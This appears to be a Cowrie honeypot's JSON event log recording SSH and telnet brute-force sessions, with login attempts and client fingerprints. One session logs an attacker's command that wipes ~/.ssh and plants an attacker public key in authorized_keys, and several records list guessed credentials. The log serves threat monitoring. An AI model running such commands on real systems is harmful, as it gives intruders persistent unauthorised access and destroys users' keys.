{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:40:39.726859Z","src_ip":"125.22.105.67","session":"152b3aab5464","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:40:39.731141Z","src_ip":"125.22.105.67","session":"152b3aab5464","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.22.105.67","src_port":20944,"dst_ip":"10.17.0.5","dst_port":22,"session":"212a31146138","protocol":"ssh","message":"New connection: 125.22.105.67:20944 (10.17.0.5:22) [session: 212a31146138]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:40:46.034250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:40:46.039353Z","src_ip":"125.22.105.67","session":"212a31146138","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:40:46.346069Z","src_ip":"125.22.105.67","session":"212a31146138","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:40:47.588879Z","src_ip":"125.22.105.67","session":"212a31146138","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.5","message":"Connection lost after 11.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:40:47.892116Z","src_ip":"125.22.105.67","session":"152b3aab5464","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:40:47.899800Z","src_ip":"125.22.105.67","session":"212a31146138","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.48.213.208","src_port":8275,"dst_ip":"10.17.0.5","dst_port":22,"session":"edcb062d4660","protocol":"ssh","message":"New connection: 185.48.213.208:8275 (10.17.0.5:22) [session: edcb062d4660]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:40:50.511700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:40:50.518341Z","src_ip":"185.48.213.208","session":"edcb062d4660","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:40:50.639037Z","src_ip":"185.48.213.208","session":"edcb062d4660","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"1","message":"login attempt [steam/1] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:40:51.145753Z","src_ip":"185.48.213.208","session":"edcb062d4660","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:40:51.444263Z","src_ip":"185.48.213.208","session":"edcb062d4660","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:40:51.447845Z","src_ip":"185.48.213.208","session":"edcb062d4660","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:40:51.452517Z","src_ip":"185.48.213.208","session":"edcb062d4660","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:40:51.574977Z","src_ip":"185.48.213.208","session":"edcb062d4660","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:40:51.862318Z","src_ip":"185.48.213.208","session":"edcb062d4660","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:40:51.866786Z","src_ip":"185.48.213.208","session":"edcb062d4660","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:40:51.991103Z","src_ip":"185.48.213.208","session":"edcb062d4660","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:40:51.995400Z","src_ip":"185.48.213.208","session":"edcb062d4660","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.48.213.208","src_port":47060,"dst_ip":"10.17.0.5","dst_port":22,"session":"6fe7b32072eb","protocol":"ssh","message":"New connection: 185.48.213.208:47060 (10.17.0.5:22) [session: 6fe7b32072eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:40:52.105631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:40:52.110704Z","src_ip":"185.48.213.208","session":"6fe7b32072eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:40:52.229207Z","src_ip":"185.48.213.208","session":"6fe7b32072eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:40:52.738095Z","src_ip":"185.48.213.208","session":"6fe7b32072eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:40:53.860603Z","src_ip":"185.48.213.208","session":"6fe7b32072eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.48.213.208","src_port":36784,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6031e0770fb","protocol":"ssh","message":"New connection: 185.48.213.208:36784 (10.17.0.5:22) [session: d6031e0770fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:40:53.973990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:40:53.978808Z","src_ip":"185.48.213.208","session":"d6031e0770fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:40:54.100464Z","src_ip":"185.48.213.208","session":"d6031e0770fb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:40:54.601889Z","src_ip":"185.48.213.208","session":"d6031e0770fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:40:54.723111Z","src_ip":"185.48.213.208","session":"edcb062d4660","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:40:54.727889Z","src_ip":"185.48.213.208","session":"d6031e0770fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"155.4.244.179","src_port":36187,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa847c131bd7","protocol":"ssh","message":"New connection: 155.4.244.179:36187 (10.17.0.5:22) [session: fa847c131bd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:41:29.250283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:41:29.255773Z","src_ip":"155.4.244.179","session":"fa847c131bd7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:41:29.362366Z","src_ip":"155.4.244.179","session":"fa847c131bd7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"qwerty","message":"login attempt [deploy/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:41:30.186657Z","src_ip":"155.4.244.179","session":"fa847c131bd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:41:31.295627Z","src_ip":"155.4.244.179","session":"fa847c131bd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":60046,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b07f888d876","protocol":"telnet","message":"New connection: 174.138.46.234:60046 (159.203.135.109:23) [session: 4b07f888d876]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:41:51.892515Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":60086,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba60c1293374","protocol":"telnet","message":"New connection: 174.138.46.234:60086 (159.203.135.109:23) [session: ba60c1293374]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:41:52.068629Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":60106,"dst_ip":"159.203.135.109","dst_port":23,"session":"83c540af3899","protocol":"telnet","message":"New connection: 174.138.46.234:60106 (159.203.135.109:23) [session: 83c540af3899]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:41:52.128487Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":60540,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e62eef6e32a","protocol":"telnet","message":"New connection: 174.138.46.234:60540 (159.203.135.109:23) [session: 2e62eef6e32a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:41:56.800697Z"}
{"eventid":"cowrie.session.connect","src_ip":"125.22.105.67","src_port":34980,"dst_ip":"10.17.0.5","dst_port":22,"session":"37963c924c43","protocol":"ssh","message":"New connection: 125.22.105.67:34980 (10.17.0.5:22) [session: 37963c924c43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:41:57.455661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:41:57.461739Z","src_ip":"125.22.105.67","session":"37963c924c43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:41:57.739436Z","src_ip":"125.22.105.67","session":"37963c924c43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.928293466567993,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:41:58.056445Z","src_ip":"174.138.46.234","session":"83c540af3899","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.381169557571411,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:41:58.273538Z","src_ip":"174.138.46.234","session":"4b07f888d876","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"mint","message":"login attempt [admin/mint] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:41:58.882019Z","src_ip":"125.22.105.67","session":"37963c924c43","protocol":"ssh"}
